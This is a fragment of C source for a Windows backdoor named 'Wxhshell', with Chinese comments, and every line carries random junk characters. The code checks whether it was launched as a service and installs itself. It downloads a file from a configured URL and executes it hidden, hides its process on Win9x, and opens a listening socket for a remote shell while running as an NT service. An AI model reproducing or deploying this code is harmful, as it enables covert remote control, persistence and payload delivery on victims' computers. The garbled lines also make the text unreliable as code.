ULONG UniqueProcessId; [pr 9 $Jr
ULONG InheritedFromUniqueProcessId; erXy>H[;
} PROCESS_BASIC_INFORMATION; rv`2*B
Tt`L(oF
PROCNTQSIP NtQueryInformationProcess; H/pcXj
;FcExg|k
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kAY@^vi
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ew>~a8!Fq
Oq[i &
HANDLE hProcess; \Oz,Qzr|
PROCESS_BASIC_INFORMATION pbi; m';#R9\Fz
EZ..^M3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iwB8I^
if(NULL == hInst ) return 0; 0Y[*lM-
{ip=iiW2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #>@<n3rq
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <Kh?Ad>N
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U)
+?$
Tbm
nZ&T8@m
if (!NtQueryInformationProcess) return 0; fVG$8tB
y#&$f
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [k!-;mi
if(!hProcess) return 0; +O&RBEa[
l_bL,-|E8
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]NbX`'
Ft )t`E'%j
CloseHandle(hProcess); j p!
*1\z^4=a]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1V-=$Q3
V7
if(hProcess==NULL) return 0; C2CYIok$&
<%M\7NDWDA
HMODULE hMod; 5?Uo&e
char procName[255]; Tt{U"EFO
unsigned long cbNeeded; NY.}uZ
u82h6s<'W
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f3/SO+Me}
&t~zD4u B
CloseHandle(hProcess); <9ePi9D(
hU 9\y
if(strstr(procName,"services")) return 1; // 以服务启动 N 9c8c
:a#F
return 0; // 注册表启动 *^X#Eb
} d&NCFx
D8)O4bh
// 主模块 \m(ymp<c`
int StartWxhshell(LPSTR lpCmdLine) Jq=00fcT+
{ I/mvQxp
SOCKET wsl; !'Pk
jP
BOOL val=TRUE; VV?]U$
int port=0; Y0 @'za^y
struct sockaddr_in door; "kcpA#uD|
.Ln;m8
if(wscfg.ws_autoins) Install(); `l+ >iM
$dlnmNP+
port=atoi(lpCmdLine); {9h`$e=
JX2mTQ
if(port<=0) port=wscfg.ws_port; Fl B, (Cm
;3 G~["DA
WSADATA data; $?[1#%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _= o1?R
x1 .3W j
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;%BhhmR)[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~!8%_J _
door.sin_family = AF_INET; n^* >a
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @*CAn(@#N
door.sin_port = htons(port); ;[;)P tFz\
LN@lrC7X
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C$$"{FfgU"
closesocket(wsl); q:TZ=bs^
return 1; fn1 ?Qp|
}
H;b8I
tn"Y9
k|
if(listen(wsl,2) == INVALID_SOCKET) { ATKYjhc _
closesocket(wsl); ^zvA?'s
return 1; JN{<oxI
} :hC
{5!|
Wxhshell(wsl); v9Z lNA7m!
WSACleanup(); 3C>2x(]M
HF*j`}
return 0; B`g<Ge~
Q
mb[ e>
} Rf)'HT
S1D9AcK
// 以NT服务方式启动 )p^m}N 6M]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ExNj|*
{ l84h%,
DWORD status = 0; a9yIV5_N
DWORD specificError = 0xfffffff; ArNur~
u3Zzu \{
serviceStatus.dwServiceType = SERVICE_WIN32; EO4"Z@ji
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xDPQG`6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s5c! ^,L8
serviceStatus.dwWin32ExitCode = 0; xaGVu0q
serviceStatus.dwServiceSpecificExitCode = 0; j#*asGdp#J
serviceStatus.dwCheckPoint = 0; Gl?P.BCW.&
serviceStatus.dwWaitHint = 0; `U{o:
S/@dkHI'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fOqS|1rC
if (hServiceStatusHandle==0) return; Ft3N#!ubl
5en
[)3E
status = GetLastError(); p{mxk)A
if (status!=NO_ERROR) >u BV
{ ^>,<*p
serviceStatus.dwCurrentState = SERVICE_STOPPED; s=H/b$v
serviceStatus.dwCheckPoint = 0; /E`l:&89)
serviceStatus.dwWaitHint = 0; jOoIF/So
serviceStatus.dwWin32ExitCode = status; |1dEs,z\
serviceStatus.dwServiceSpecificExitCode = specificError; rK(x4]I
l"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dD/29b(
return; $\YLmG
} !.;xt L
BiHiVhD_
serviceStatus.dwCurrentState = SERVICE_RUNNING; %\(y8QV
serviceStatus.dwCheckPoint = 0; }S~ysQwT
serviceStatus.dwWaitHint = 0; 88 tFB
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pe+ 8~0o=R
} L|]w3}ZT@
<
"L){$
// 处理NT服务事件,比如:启动、停止 nZ`2Z7!
VOID WINAPI NTServiceHandler(DWORD fdwControl) yNhscAMNn
{ AiyvHt
switch(fdwControl) >D`fp
{ (n":]8}
case SERVICE_CONTROL_STOP: 'f=) pc#&g
serviceStatus.dwWin32ExitCode = 0; y (c|5CQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; t_dw}I
serviceStatus.dwCheckPoint = 0; W%cj39$
serviceStatus.dwWaitHint = 0; c:?#zX
{ p0[,$$pM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "W_jdE6v
} CfkNy[}=
return; jM3Y|}+
case SERVICE_CONTROL_PAUSE: Ww'TCWk@
serviceStatus.dwCurrentState = SERVICE_PAUSED; rB.=f[aX[
break; a O"nD_7
case SERVICE_CONTROL_CONTINUE: /c_kj2& ]9
serviceStatus.dwCurrentState = SERVICE_RUNNING; )F%wwc^r
break; DSDl[;3O{s
case SERVICE_CONTROL_INTERROGATE: 8}"f|6Wm
break; K+h9bI/Sf
}; ~q8V<@?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X>6~{3
} Z5*(W;;
!ulLGmUn
// 标准应用程序主函数 #5ohmp,u
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2#n$x*CY
{ :b M$;
+QXYU8bYZ
// 获取操作系统版本 -hG 9
OsIsNt=GetOsVer(); o%4&1^ Vg
GetModuleFileName(NULL,ExeFile,MAX_PATH); _} X`t8L h
CYFas:rPLT
// 从命令行安装 l|ZzG4]+l
if(strpbrk(lpCmdLine,"iI")) Install(); WnJLX ^;
U&w5&W{F}
// 下载执行文件 qh)!| B
if(wscfg.ws_downexe) { G"U>fwFuK
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xPfnyAo?%z
WinExec(wscfg.ws_filenam,SW_HIDE); S\v&{
} :d%
-,v
Iu1Sj`A
if(!OsIsNt) { :_~PU$%0
// 如果时win9x,隐藏进程并且设置为注册表启动 c> U{,z
HideProc(); !aW*dD61
StartWxhshell(lpCmdLine); B yy-Cc
} ~\)&{'
else ?^yh5
if(StartFromService()) z[lRb]:i[
// 以服务方式启动 od5w9E.
StartServiceCtrlDispatcher(DispatchTable); >uPde5"ZF-
else e\
l,gQP
// 普通方式启动 }%>$}4 ,
StartWxhshell(lpCmdLine); qs
c-e,rl
0m+5Zn
return 0; @Pb 1QLiz
}